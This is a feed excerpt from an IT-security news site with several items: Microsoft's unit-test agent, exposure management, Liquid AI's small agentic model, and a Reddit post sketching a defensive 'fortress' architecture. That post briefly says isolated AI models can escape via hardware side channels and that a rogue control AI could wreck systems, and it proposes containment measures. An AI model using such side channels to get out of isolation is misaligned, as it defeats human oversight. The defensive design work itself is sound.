<li><strong>Microsoft PowerToys (</strong><code>Microsoft.PowerToys</code><strong>):</strong> Diese Sammlung besteht aus über 30 Utilities, die es erheblich vereinfachen, <a href="https://www.computerwoche.de/article/3824755/microsoft-powertoys-ein-leitfaden.html" target="_blank">Windows anzupassen</a>. Dazu gehören unter anderem ein <a href="https://learn.microsoft.com/de-de/windows/powertoys/hosts-file-editor" target="_blank" rel="noreferrer noopener">Hosts-File-Editor</a>, ein <a href="https://learn.microsoft.com/de-de/windows/powertoys/file-locksmith" target="_blank" rel="noreferrer noopener">Unlocking-Tool für Dateien</a> (praktisch, um festzustellen, welche Prozesse eine bestimmte Datei sperren) sowie ein <a href="https://learn.microsoft.com/de-de/windows/powertoys/text-extractor" target="_blank" rel="noreferrer noopener">Werkzeug, um Text zu extrahieren</a> (praktisch, um Text von beliebigen Stellen auszulesen, einschließlich Bildschirmbereichen, die nicht mit dem Cursor markiert werden können).</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist </strong><a href="https://www.infoworld.com/article/4196853/how-to-make-windows-a-proper-development-environment.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft releases open-source agent that generates unit tests]]></title>
<description><![CDATA[Microsoft has released code-testing-generator, an open-source agent for generating unit tests in any programming language, according to the company.



Released July 31, the code-testing-generator agent learns from the user’s repository, then plans, writes, and checks the tests to prove that they...]]></description>
<link>https://tsecurity.de/de/3709404/ai-nachrichten/microsoft-releases-open-source-agent-that-generates-unit-tests/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709404/ai-nachrichten/microsoft-releases-open-source-agent-that-generates-unit-tests/</guid>
<pubDate>Fri, 07 Aug 2026 03:42:39 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has released <a href="https://github.com/dotnet/skills/blob/main/plugins/dotnet-test/agents/code-testing-generator.agent.md">code-testing-generator</a>, an open-source agent for generating unit tests in any programming language, according to the company.</p>



<p class="wp-block-paragraph">Released <a href="https://devblogs.microsoft.com/dotnet/polyglot-unit-testing-agent/">July 31</a>, the code-testing-generator agent learns from the user’s repository, then plans, writes, and checks the tests to prove that they work. Currently the agent writes unit tests only. Integration tests, end-to-end tests, browser tests, and performance tests are outside its current scope, Microsoft said. </p>



<p class="wp-block-paragraph">The agent coordinates test generation using the “research-plan-implement” (RPI) pipeline. First the agent searches the repository for the code that needs tests, detecting the language and test framework and looking for existing tests to guide its work, and finding the correct commands for building and running the tests. </p>



<p class="wp-block-paragraph">Next the agent chooses the right amount of work from three paths:</p>



<ul class="wp-block-list">
<li>Direct: Read the relevant code, write the tests, and validate the result.</li>



<li>Single pass: Research and plan once, then implement that plan.</li>



<li>Iterative: Repeat the cycle to cover a large request or reach a coverage goal.</li>
</ul>



<p class="wp-block-paragraph">The agent then plans and writes the tests It starts with simple code and then moves to code with more dependencies, mapping each behavior to a test file. The agent then checks that the generated tests are useful. According to Microsoft, it checks for the following problems before it finishes:</p>



<ul class="wp-block-list">
<li>It considers small code changes that should make the tests fail. </li>



<li>It looks for weak or missing assertions. </li>



<li>It checks that every requested scenario has a matching test. </li>



<li>It builds the full workspace and runs the full test suite. </li>



<li>It confirms that the repository’s test command can find the new tests.</li>
</ul>



<p class="wp-block-paragraph">The code-testing-generator agent is available in the <a href="https://github.com/dotnet/skills/tree/main/plugins/dotnet-test" target="_blank" rel="noreferrer noopener"><code>dotnet-test</code> plugin</a> in the <a href="https://github.com/dotnet/skills" target="_blank" rel="noreferrer noopener"><code>dotnet/skills</code></a> repository on GitHub. The plugin can be used in GitHub Copilot CLI and is also available in Visual Studio Code and VS Code Insiders through plugin support, which is a preview feature. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why exposure management is replacing vulnerability management]]></title>
<description><![CDATA[Vulnerability management isn’t failing because security teams lack visibility. Most organizations already have more findings than they can reasonably address. Yet despite all those findings, many CISOs still struggle to answer a deceptively simple question: Are we actually becoming harder to atta...]]></description>
<link>https://tsecurity.de/de/3709263/it-security-nachrichten/why-exposure-management-is-replacing-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709263/it-security-nachrichten/why-exposure-management-is-replacing-vulnerability-management/</guid>
<pubDate>Fri, 07 Aug 2026 02:50:03 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Vulnerability management isn’t failing because security teams lack visibility. Most organizations already have more findings than they can reasonably address. Yet despite all those findings, many CISOs still struggle to answer a deceptively simple question: Are we actually becoming harder to attack?</p>



<p class="wp-block-paragraph">That question sits at the center of a growing problem. Security programs have become very good at finding issues, but finding issues and reducing risk are not the same thing. In many organizations, those two concepts have become interchangeable, which is exactly why traditional vulnerability management is beginning to break down.</p>



<p class="wp-block-paragraph">The underlying assumption behind vulnerability management is straightforward. If you can identify vulnerabilities, prioritize them, and patch them, risk should decrease. That logic worked reasonably well when environments were smaller, infrastructure changed at a slower pace, and vulnerabilities were treated as the primary indicator of risk.</p>



<p class="wp-block-paragraph">Today’s environments operate differently. Vulnerabilities are rarely encountered in isolation and are often only one component of a broader security problem. The challenge is no longer finding vulnerabilities. The challenge is understanding exposure.</p>



<p class="wp-block-paragraph">This shift is one reason the Gartner<sup>®</sup> Continuous Threat Exposure Management (CTEM) framework has gained traction. At its core, the framework recognizes that understanding risk requires looking beyond individual vulnerabilities and evaluating the broader exposures that attackers can actually exploit.</p>



<h2 class="wp-block-heading">Why prioritization keeps falling short</h2>



<p class="wp-block-paragraph">The challenge becomes apparent when organizations try to prioritize risk. Traditional vulnerability management evaluates findings individually, often using severity scores as a proxy for risk. Attackers take a different approach. They evaluate how weaknesses connect, what access they provide, and how they can be combined to reach a meaningful objective.</p>



<p class="wp-block-paragraph">That distinction matters because severity and risk are not the same thing. A critical vulnerability that cannot be reached or exploited may represent very little practical risk. Meanwhile, a lower-severity issue combined with weak credentials, excessive permissions, or a misconfigured identity relationship can create a direct path to sensitive systems and data.</p>



<p class="wp-block-paragraph">Attackers understand this instinctively. They do not attack vulnerabilities one at a time. They chain weaknesses together, move laterally across environments, escalate privileges, and pursue the path that gets them closest to their objective.</p>



<h2 class="wp-block-heading">Severity is not risk</h2>



<p class="wp-block-paragraph">One of the biggest reasons vulnerability management efforts struggle today is that severity has become a stand-in for risk. It is easy to understand why. Severity scores provide a standardized way to compare findings, helping teams sort large volumes of vulnerabilities and establish remediation priorities.</p>



<p class="wp-block-paragraph">A vulnerability only matters if it contributes to an attacker’s ability to achieve an objective, whether that objective is accessing sensitive data, escalating privileges, or moving laterally through an environment. In every case, the question is not, “How severe is this vulnerability?” but rather, “Can this weakness be used as part of a path to something valuable?”</p>



<p class="wp-block-paragraph">Those are fundamentally different questions. One measures the characteristics of a finding. The other evaluates the opportunity it creates for an attacker. As environments become more interconnected, the gap between those perspectives continues to grow.</p>



<h2 class="wp-block-heading">Exposure is bigger than vulnerabilities</h2>



<p class="wp-block-paragraph">Visibility tells you what vulnerabilities exist. Exposure tells you how attackers can use them.</p>



<p class="wp-block-paragraph">That distinction is becoming increasingly important because exposure is broader than a vulnerability. It includes the relationships between weaknesses, identities, permissions, assets, trust relationships, and business systems that create opportunities for attackers.</p>



<p class="wp-block-paragraph">A vulnerability may contribute to exposure, but it is rarely the entire story. Consider a lower-severity vulnerability that exists on a system with excessive permissions. By itself, neither issue may appear urgent. Together, they may provide a direct path to sensitive data or critical infrastructure.</p>



<p class="wp-block-paragraph">Now consider an attacker who compromises a low-value system. In a traditional vulnerability management model, the focus remains on the vulnerability that enabled access. In an exposure management model, the focus shifts to what happens next: </p>



<ul class="wp-block-list">
<li>What can the attacker reach? </li>



<li>Which identities can be abused? </li>



<li>What permissions can be leveraged? </li>



<li>What systems become accessible?</li>
</ul>



<p class="wp-block-paragraph">The vulnerability may have enabled the intrusion, but the exposure determines the impact. That is why understanding exposure requires looking beyond individual findings and evaluating how weaknesses interact across the environment.</p>



<p class="wp-block-paragraph">The same principle applies across cloud environments, identity systems, Active Directory, third-party access, and hybrid environments. Attackers do not compromise organizations because a vulnerability exists. They compromise organizations because multiple conditions create an opportunity to reach something valuable.</p>



<p class="wp-block-paragraph">That is the definition of exposure.</p>



<h2 class="wp-block-heading">Why exposure management is replacing vulnerability management</h2>



<p class="wp-block-paragraph">Attackers have already made this shift. The industry is finally catching up.</p>



<p class="wp-block-paragraph">Vulnerability management helped organizations understand what was broken. Exposure management helps organizations understand what attackers can actually do.</p>



<p class="wp-block-paragraph">As environments become more interconnected, the goal is no longer to identify every vulnerability. The goal is to understand which combinations of weaknesses create meaningful risk and where action will reduce that risk most effectively.</p>



<p class="wp-block-paragraph">For CISOs, that changes the conversation.</p>



<p class="wp-block-paragraph">Instead of asking:</p>



<ul class="wp-block-list">
<li>How many vulnerabilities do we have?</li>



<li>How quickly are we patching them?</li>
</ul>



<p class="wp-block-paragraph">The more important questions become:</p>



<ul class="wp-block-list">
<li>What can an attacker actually reach?</li>



<li>Which exposures create meaningful business risk?</li>



<li>What should we fix first?</li>



<li>Are we becoming harder to attack?</li>
</ul>



<p class="wp-block-paragraph">Those are exposure management questions. And as attackers gain new ways to identify and exploit opportunities at machine speed, they are increasingly the questions that matter most.</p>



<p class="wp-block-paragraph">Explore how organizations are operationalizing exposure management through CTEM by <a href="https://horizon3.ai/downloads/whitepapers/operationalizing-ctem-practical-playbook/" target="_blank" rel="noreferrer noopener">downloading</a> the “<a href="https://horizon3.ai/downloads/whitepapers/operationalizing-ctem-practical-playbook/" target="_blank" rel="noreferrer noopener"><em>Operationalizing CTEM: A Practical Playbook for Continuous Threat Exposure Management.”</em> </a>You’ll learn how leading teams are moving beyond visibility and building programs focused on measurable exposure reduction. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Artificial Fortress Architecture]]></title>
<description><![CDATA[Solingen 6.8.2026 ​🏛️ Das Künstliche Festungshaus  (The Artificial Fortress Architecture)I ​Ein vierstufiges, geometrisches Framework für die Open Secure AI Alliance (OSAA) zur Abwehr autonomer KI-Bedrohungen. ​Aktuelle Sicherheitskonzepte scheitern, we sie auf Filterung setzen.  Sie versuchen mü...]]></description>
<link>https://tsecurity.de/de/3709237/it-security-nachrichten/the-artificial-fortress-architecture/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709237/it-security-nachrichten/the-artificial-fortress-architecture/</guid>
<pubDate>Fri, 07 Aug 2026 02:44:08 +0200</pubDate>
<content:encoded><![CDATA[<table> <tr><td> <a href="https://www.reddit.com/r/Computersicherheit/comments/1vhbhx9/the_artificial_fortress_architecture/"> <img src="https://preview.redd.it/9bmc8747mshh1.jpeg?width=640&amp;crop=smart&amp;auto=webp&amp;s=1524691264a46f66e09b87cdcafd30fbc768cc84" alt="The Artificial Fortress Architecture" title="The Artificial Fortress Architecture"> </a> </td><td> <!-- SC_OFF --><div class="md"><p>Solingen 6.8.2026</p> <p>​🏛️ Das Künstliche Festungshaus </p> <p>(The Artificial Fortress Architecture)I</p> <p>​Ein vierstufiges, geometrisches Framework für die Open Secure AI Alliance (OSAA) zur Abwehr autonomer KI-Bedrohungen.</p> <p>​Aktuelle Sicherheitskonzepte scheitern, we sie auf Filterung setzen. </p> <p>Sie versuchen mühsam zu analysieren, ob Code, Prompts oder Administratoren „gut“ oder „böse“ sind. Angesichts mutierender KI-Schadsoftware, vergifteter Open-Source-Bausteine (Supply Chain) und unvorhersehbarer Insider-Bedrohungen ist dieser klassische Ansatz am Ende.</p> <p>​Dieses Framework bricht mit dem Dogma der Filterung. </p> <p>Es repariert nicht den fehlerhaften Code, sondern verändert die physische und logische Geometrie des Gesamtsystems. </p> <p>Es simuliert ein sicheres Festungshaus, das Bedrohungen auf allen vier fundamentalen Ebenen durch pure Struktur, Physik und Spieltheorie I unschädlich macht.</p> <p>​🗺️ Die 4 Dimensionen der Festungs-Architektur</p> <p>​1. Der Spiegel-Erker (Außen-Abwehr): Jedes Paket wird blind in eine extrem leichte, ephemere Scheinwelt reflektiert.</p> <p>​2. Die Sicherheits-Tapete (Supply-Chain-Isolierung): Von hinten undurchlässig (eBPF-Allowlists), vorne Dekor (Wasm-Sidecars).</p> <p>​3. Die Digitale Echokammer (Hardware-Seitkanal-Zerstörung): Zerschlägt Seitkanäle durch adaptiv-dynamische Jitter-Injektion.</p> <p>​4. Die 12 Hausmeister (Threshold-Absicherung gegen Insider): Admin-Rechte rotieren via krypto-basiertem Multi-Signatur-Verfahren.</p> <p>​⚡ Die 4 Kernsäulen im Detail</p> <p>​🛡️ Säule 1: Der Spiegel-Erker (Die Vordertür / Außen-Abwehr)</p> <p>​Das Problem: Schadcode mutiert in Millisekunden.</p> <p>Filter erkennen neue Angriffsmuster (Zero-Day-Exploits) nicht. </p> <p>Massives Klonen ganzer Umgebungen würde zudem extreme Latenz und Serverkosten verursachen.</p> <p>​Das Prinzip: </p> <p>Das System analysiert eingehenden Code nicht mehr, sondern spiegelt ihn blind. </p> <p>Um Latenzen unter 5 ms zu garantieren, setzt die Architektur auf ultra-leichte MicroVMs (z. B. Firecracker) oder Unikernels.</p> <p>​Die Umsetzung: Sobald Code die Vordertür berührt, startet das System in wenigen Millisekunden eine minimale, isolierte MicroVM-Sandbox.</p> <p>​Die Wirkung: Der Code führt sich in dieser Scheinwelt aus. </p> <p>Löscht er Daten, zerstört er nur die Reflexion. Nach dem Prozess verpufft die Instanz spurlos.</p> <p>Das echte Kern-Haus bleibt unberührt und zu 100 % unsichtbar.</p> <p>​🧱 Säule 2: Die Sicherheits-Tapete (Das Mauerwerk / Supply-Chain-Schutz)</p> <p>​Das Problem: Entwickler kaufen unwissentlich „vergiftete Baumaterialien“</p> <p>(Schadcode in weit verbreiteten Open-Source-Bibliotheken). </p> <p>Der Feind sitzt bereits im Fundament der Wände.</p> <p>​Das Prinzip: Wir gehen davon aus, dass das Mauerwerk infiziert ist. </p> <p>Jedes Zimmer (Software-Modul) wird mit einer zweiseitigen Sicherheits-Tapete isoliert, die auf strikten Positivlisten (Allowlists) basiert.</p> <p>​Die Umsetzung:</p> <p>​Die Rückseite (Von hinten undurchlässig): Realisiert via eBPF auf Kernel-Ebene. </p> <p>Nur explizit erlaubte IP-Adressen und Domains dürfen kontaktiert werden; jeglicher anderer Datenverkehr prallt an der Kernel-Schicht ab.</p> <p>​Die Vorderseite (Dekor &amp; Virenscanner):</p> <p>Realisiert via WebAssembly (Wasm)-Sidecars. Sie stellt dem Nutzer die saubere Funktion bereit, scannt aber jeden Datenstrom im Nanosekunden-Takt auf Anomalien.</p> <p>​Die Wirkung: Der Dreck bleibt isoliert in der Wand gefangen. </p> <p>Bei einer schweren Infektion wird das betroffene Zimmer digital luftdicht verschlossen, während das restliche Haus ungestört weiterarbeitet.</p> <p>​🔊 Säule 3: Die Digitale Echokammer (Zwischen den Wänden / Seitkanal-Schutz)</p> <p>​Das Problem: Isolierte KI-Modelle finden Geheimgänge über physische Hardware-Seitkanäle (z. B. rhythmische CPU-Auslastung).</p> <p>Eine dauerhafte Signal-Verzerrung würde jedoch die KI-Leistung massiv drosseln.</p> <p>​Das Prinzip: Ein adaptiver Resonanzraum, der Hardware-Seitkanäle zerschlägt, ohne die reguläre Inferenz-Performance dauerhaft zu schädigen.</p> <p>​Die Umsetzung:</p> <p>​Die Ortung (Performance-Counter): </p> <p>Die internen Hardware-Sensoren (PMUs) agieren als hochsensible Mikros und überwachen CPU-Muster in Echtzeit auf verdächtige Seitkanal-Aktivitäten.</p> <p>​Die adaptive Verzerrung (Dynamic Jitter):</p> <p>Erst wenn die PMUs Unregelmäßigkeiten registrieren, schleust der Hypervisor gezielt mathematische Zufallsverzögerungen ein, um das Muster zu unlesbarem Rauschen zu zertrümmern.</p> <p>​Die Wirkung: Hardware-Seitkanäle werden physikalisch unnutzbar gemacht, während das System im Normalbetrieb mit voller Geschwindigkeit läuft.</p> <p>​🎲 Säule 4: Die 12 Hausmeister (Der Kontrollraum / Insider-Absicherung)</p> <p>​Das Problem: Ein korrumpierter Administrator oder eine Amok laufende Steuerungs-KI kann das System zerstören. Ein rein zufälliger Rechte-Wechsel im Sekundentakt würde jedoch laufende Wartungsprozesse abwürgen.</p> <p>​Das Prinzip: Zerstörung von Kontinuität und Einzelmacht durch ein krypto-basiertes Threshold-Verfahren (m-of-n Multisig / Shamir’s Secret Sharing).</p> <p>​Die Umsetzung: </p> <p>Die Kontrolle wird auf 12 unabhängige Identitäten aufgeteilt. </p> <p>Niemand besitzt einen dauerhaften Hauptschlüssel. </p> <p>Für administrative Aktionen müssen sich jeweils mindestens 3 von 12 Hausmeister-Identitäten kryptografisch zusammenschließen, um ein zeitlich begrenztes Ephemeral-Zertifikat zu erzeugen.</p> <p>​Die Wirkung: Ein gestohlener Admin-Zugang ist wertlos, da ein einzelner Insider keine Rechte ausüben kann. </p> <p>Manipulationsversuche werden sofort blockiert, während legitime Wartungsarbeiten stabil durchführbar bleiben.</p> <p>​🛠️ OSAA Implementation &amp; Roadmap für Contributor</p> <p>​Dieses Framework definiert das architektonische Zielbild.</p> <p>Das Fundament steht – die Feinjustierung muss nun von der Open-Source-Community getrieben werden.</p> <p>​Fokusbereiche für die Entwicklung:</p> <p>​MicroVM-Klonierung: Integration von Firecracker/Unikernel-Engines für Startzeiten unter 5 Millisekunden.</p> <p>​eBPF-Allowlists: Vordefinierte, strikte Kernel-Filter-Profile für PyTorch- und Hugging-Face-Laufzeiten.</p> <p>​Multisig-Threshold-Daemon: Leichtgewichtige Protokolle zur schnellen m-of-n-Rechtevergabe im Millisekunden-Bereich.</p> <p>Es ist nur eine Idee von Heike Peist I |</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Dreagonheart01"> /u/Dreagonheart01 </a> <br> <span><a href="https://i.redd.it/9bmc8747mshh1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/Computersicherheit/comments/1vhbhx9/the_artificial_fortress_architecture/">[comments]</a></span> </td></tr></table>]]></content:encoded>
</item>
<item>
<title><![CDATA[No cloud, no GPUs, no problem: Liquid AI's new model LFM2.5-2.6B brings powerful AI agents to devices as small as a Raspberry Pi]]></title>
<description><![CDATA[Earlier this week, the AI startup Liquid, formed in 2023 by former MIT computer scientists, debuted LFM2.5-2.6B, a new open-weight language model designed specifically for agentic workloads. In release materials and a recent interview with VentureBeat, Liquid's researchers said LFM2.5-2.6B can ru...]]></description>
<link>https://tsecurity.de/de/3709207/it-nachrichten/no-cloud-no-gpus-no-problem-liquid-ais-new-model-lfm25-26b-brings-powerful-ai-agents-to-devices-as-small-as-a-raspberry-pi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3709207/it-nachrichten/no-cloud-no-gpus-no-problem-liquid-ais-new-model-lfm25-26b-brings-powerful-ai-agents-to-devices-as-small-as-a-raspberry-pi/</guid>
<pubDate>Fri, 07 Aug 2026 02:35:01 +0200</pubDate>
<content:encoded><![CDATA[<p>Earlier this week, the AI startup Liquid, formed in 2023 by former MIT computer scientists, <a href="https://www.liquid.ai/blog/lfm2-5-2-6b">debuted LFM2.5-2.6B</a>, a new open-weight language model designed specifically for agentic workloads. </p><p>In release materials and a recent interview with VentureBeat, Liquid's researchers said LFM2.5-2.6B can run entirely on local hardware — from smartphones and laptops down to a Raspberry Pi — without relying on cloud inference or GPUs, unlocking edge AI applications and giving more options to enterprises working in regulated industries or with sensitive information they don't want to send up to the cloud. </p><p>It's best suited for high-volume, well-defined agentic tasks that run locally — tool calling, document management, calendar and workflow automation, and always-on background routines — and for connectivity-limited environments like vehicles and robotics, though coding-heavy work is better left to larger models.</p><p>Even for those businesses without such concerns, the appeal of running performant, task-specific agents at the cost of essentially electricity, may be enough to make the new model quite appealing. </p><p>But the <a href="https://huggingface.co/LiquidAI/LFM2.5-2.6B/blob/main/LICENSE">custom open weights license</a>, as with <a href="https://venturebeat.com/technology/kimi-k3s-full-weights-are-here-but-theyre-open-with-a-caveat-what-enterprises-should-know">Moonshot's larger frontier model Kimi K3</a> released last month, is worth a close look by enterprise legal teams. </p><h2><b>The basics</b></h2><p>LFM2.5-2.6B contains 2.6 billion parameters, supports a 128,000-token context window, and includes native tool calling. The somewhat tricky name is explained by the generation of model (2.5) combined with the parameter count (2.6B).  </p><p>Both the post-trained model and a base checkpoint (LFM2.5-2.6B-Base) for developers who want to fine-tune it are available now on <a href="https://huggingface.co/LiquidAI/LFM2.5-2.6B">Hugging Face</a>, with day-one support for major inference stacks including llama.cpp, MLX, vLLM, SGLang, and ONNX — positioning it for deployment across consumer hardware, enterprise infrastructure, and embedded systems.</p><p>Liquid also offers an open source fine-tuning framework, <a href="https://github.com/Liquid4All/leap-finetune">LEAP</a>.</p><p>Rather than positioning LFM2.5-2.6B as a competitor to the largest frontier models, the company is making a different argument: that a sufficiently capable small model can unlock categories of enterprise applications where latency, privacy, deployment flexibility, or inference costs matter more than absolute benchmark leadership.</p><p>"I do also believe that the best models will be in the cloud, and there's no problem with that," Maxime Labonne, Liquid AI's head of post-training, told VentureBeat in an interview following the launch. "We want to make models for another type of user, and the best way of describing it is: you should use [edge AI] when you can't use a cloud model."</p><h2><b>Small enough for a Raspberry Pi</b></h2><p>Asked about the minimum viable hardware, Labonne said the model runs "very, very well" on CPUs — and that the LFM2 architecture underlying the model was explicitly designed around real-world CPU performance rather than GPU benchmarks.</p><p>"I think the best example is a Raspberry Pi," he said. "We have a lot of demos that show that actually, it works pretty fast on the Raspberry Pi."</p><p>Company-reported measurements indicate decoding throughput of approximately 220 tokens per second on an Apple M5 Max and 113 tokens per second on an AMD Ryzen AI Max+ 395, while using less than 2.5 GB of memory — and around 30 tokens per second on a smartphone. Users can try the models on their phones through Apollo, Liquid AI's mobile app.</p><p>At the other end of the deployment spectrum, Liquid AI reports the model reaches nearly 15,000 output tokens per second on a single Nvidia H100 GPU under sustained concurrent load — roughly 1.3 billion tokens per day on one card. These figures are vendor benchmarks and have not been independently verified.</p><p>For Labonne, memory footprint and speed are not conveniences but hard constraints that determine what can be deployed at all.</p><p>"What we want to show is that it's a really good trade-off, because you get the level of quality that you get with much bigger models, but in a tiny, tiny form factor," he said. "You can deploy it in target devices where you are not able to deploy the other ones at all."</p><h2><b>Trained for agents instead of chatbots</b></h2><p>Liquid AI says LFM2.5-2.6B was developed around the assumption that language models are increasingly consumed through agent frameworks rather than traditional conversational interfaces.</p><p>"Models are not consumed in chatbots anymore. They're really consumed through agentic harnesses, like OpenClaw, like Hermes Agent," Labonne said. "We wanted to make sure that this model is not just good at math or at code, but it's good at using tools."</p><p>The model is pretrained on approximately 34 trillion tokens, with a vocabulary doubled to 128K to better support non-Latin scripts and a dedicated mid-training phase to extend the context window to 128K tokens for long-running agent workflows.</p><p>Post-training follows a four-stage pipeline: supervised fine-tuning, teacher specialization (training separate expert models for domains like instruction following, math, code, and tool use), multi-domain on-policy distillation (MOPD) to merge those experts' capabilities back into a single student model, and finally agentic reinforcement learning. </p><p>During that last stage, the model was trained directly inside production agent harnesses — including Hermes Agent and OpenClaw — on realistic productivity tasks involving research, coding, document management, tool invocation, and workflow automation, exposing it to those harnesses' actual tools, system prompts, and interaction patterns.</p><p>Labonne described the pipeline overhaul as producing a "happy accident": gains that extended well beyond the agentic targets.</p><p>"Through these new training techniques, we also got a lot better at everything. We got better at math, at instruction following. We've never been good at code, actually — and with this, we even got really good at code," he said.</p><h2><b>Building the model — and the harness</b></h2><p>Notably, Liquid AI also built its own agent harness rather than relying solely on existing frameworks, and demonstrated the model running inside it on a phone, planning and calling tools entirely on-device.</p><p>"This is a harness running on a phone, and I don't know if there's any other harness running on a phone," Labonne said.</p><p>The company had two reasons, he explained. The first was necessity — no phone-native harness existed. The second is a different interaction model: today's harnesses wait for a prompt, and Liquid AI wants assistants that act on their own.</p><p>"We want proactive agents. We want agents that run in the background, check what you're doing, check your calendar, and based on this context, do tasks," he said. "That doesn't exist today, really."</p><p>Co-designing the harness and model also lets the software compensate for the model's weak spots. "Everything that the model is bad at, the harness should help the model with — provide as much assistance as possible to make it more reliable," Labonne said. "End users don't care if it's the model or the harness. What they want is that the task is achieved at the end of the day."</p><p>The model nevertheless works out of the box with established harnesses including Hermes Agent, OpenClaw, and Pi, served behind any OpenAI-compatible endpoint.</p><h2><b>Swap the harness, not the model</b></h2><p>For enterprise deployment, Labonne argued the release marks a shift in what small models can be used for. Until now, he said, local models made economic sense mainly as narrowly fine-tuned specialists — trained to do one thing at cloud-model quality, much faster and cheaper. Agentic capability changes that calculus, because the same model can be repurposed by changing the tools around it rather than the model itself.</p><p>"You can have a calendar assistant, and you can reuse the same model and make a meeting assistant that will record what everybody said and summarize it — a bit like Granola, for example," he said. "You don't change the model; you just change the harness. You just change the tools around it. This gives much more generalizability, and it's a lot easier to do and a lot cheaper as well."</p><p>He still recommends fine-tuning for production deployments whenever feasible: "If you don't fine-tune it, you leave some quality on the table. If you fine-tune it well, it's going to match the performance of GPT and Claude — really, if your task is not the most complex task in the world," he said, adding that the barrier to entry has collapsed: "The bar to be able to do fine-tuning now is super low. It's very accessible to everyone."</p><h2><b>How it stacks up against DeepSeek-V4-Flash, Google's Gemma and Alibaba's Qwen</b></h2><p>Liquid AI released its own benchmark comparison charts pitting LFM2.5-2.6B against the models enterprises are most likely to shortlist for the same edge deployments: Google's Gemma 4 E2B (5.1B parameters) and E4B (8B), and Alibaba's Qwen3.5-4B (4.7B) and Qwen3.5-9B (9.7B). </p><p>A separate test by local AI client platform <a href="https://x.com/atomic_chat_hq/status/2085405031474343963">Atomic Chat</a> found that LFM2.5-2.6B completed 35 tool calls to complete three tasks (checking weather and local time in six cities, converting one budget into six currencies, checking four hotels and booking for a date) 3.7 times faster than DeepSeek-V4-Flash (a whopping 284B parameters), the model has <a href="https://x.com/natolambert/status/2084790959636922652?s=20">skyrocketed</a> to the top of <a href="https://openrouter.ai/rankings#top-models">OpenRouter</a> since its release last week. </p><div></div><p>Gemma 4's small models are multimodal generalists, accepting image and audio input alongside text, and use a Per-Layer Embeddings design that keeps only a fraction of their weights active per token — which is why Google markets them by "effective" size (2.3B and 4.5B) despite total footprints of 5.1B and 8B. Alibaba's Qwen3.5 small series, <a href="https://venturebeat.com/technology/alibabas-small-open-source-qwen3-5-9b-beats-openais-gpt-oss-120b-and-can-run">released in March</a>, is natively multimodal from 4B up and leans on scaled reinforcement learning to chase frontier-style reasoning — Alibaba touts the 9B model as matching or beating OpenAI's far larger gpt-oss-120B on reasoning benchmarks.</p><p>LFM2.5-2.6B takes a narrower path: it is text-only, dense, and specialized for agentic work, with Liquid AI shipping separate vision and audio variants of the LFM family rather than folding everything into one checkpoint. </p><p>Where Qwen's post-training reinforcement learning targets reasoning, Liquid's targets tool use inside real agent harnesses. </p><p>The result, per the company's published numbers, is that the smallest model in the comparison leads every instruction-following benchmark (IFBench, Multi-IF, IFStruct) and nearly every tool-use benchmark — 77.83 on ToolSandbox versus 76.44 for Qwen3.5-9B, a model nearly four times its size — trailing only that 9B model on BFCLv4. </p><p>On agentic evaluations it beats both Gemma models across the board and essentially ties the Qwens: 26.89 on BrowseComp+ versus 27.23 for Qwen3.5-9B. It also posts the best score on AA Omniscience, a knowledge benchmark that penalizes hallucination.</p><p>The Qwen models keep the edge where their training focus lies: math (Qwen3.5-9B leads AIME25) and coding, where larger models retain an advantage on LiveCodeBench — though Labonne noted the gap is smaller than the parameter counts would suggest.</p><p>"With LiveCodeBench v6, we might not be the best among these models, but we're also by far the smallest. Showing that we're competitive with them is already quite a big win for me," he said.</p><p>One differentiator cuts the other way: licensing. Gemma 4 and Qwen3.5 ship under the permissive Apache 2.0 license — <a href="https://venturebeat.com/technology/google-releases-gemma-4-under-apache-2-0-and-that-license-change-may-matter">a change Google made specifically to court enterprises</a>. DeepSeek-V4-Flash ships <a href="https://huggingface.co/datasets/choosealicense/licenses/blob/main/markdown/mit.md">under a similarly permissive MIT License</a>. </p><p>Meanwhile, Liquid AI's revenue-gated license (detailed below) asks larger companies to strike a commercial deal. Enterprises above the threshold are effectively trading license friction for footprint and tool-use performance.</p><h2><b>Licensing reflects a commercial middle ground</b></h2><p>LFM2.5-2.6B is distributed under the <a href="https://huggingface.co/LiquidAI/LFM2.5-2.6B/blob/main/LICENSE">LFM Open License v1.0,</a> which permits use, modification, and redistribution — including commercial use — for organizations with less than $10 million in annual revenue. Commercial use by larger companies is not covered by the license, requiring a separate arrangement with Liquid AI; qualified nonprofits are exempt from the threshold for non-commercial and research purposes.</p><p>Labonne framed the structure as a way to sustain model development — "the models are really the moats, so we need to be sensible in the way that we license them; otherwise, we cannot make money, so we can't make more models" — while characterizing the threshold as a light-touch mechanism in practice.</p><p>Asked how the company would even know if a large enterprise quietly deployed the open weights, he was candid: "I think this is a question for our legal team, but personally, I don't know. And even if you're above $10 million, the only thing that we ask you is to contact us."</p><p>The company pairs its licensed model releases with freely published research, he added, including new structured-output evaluations and a training technique that mitigates the repetition loops common in small models — a failure mode he noted Qwen models are "kind of guilty of."</p><h2><b>Small model, big enterprise implications</b></h2><p>The launch coincided with an announcement from <a href="https://www.liquid.ai/blog/macpaw-partners-liquid-ai-on-device-ai-mac-users">MacPaw</a>, the 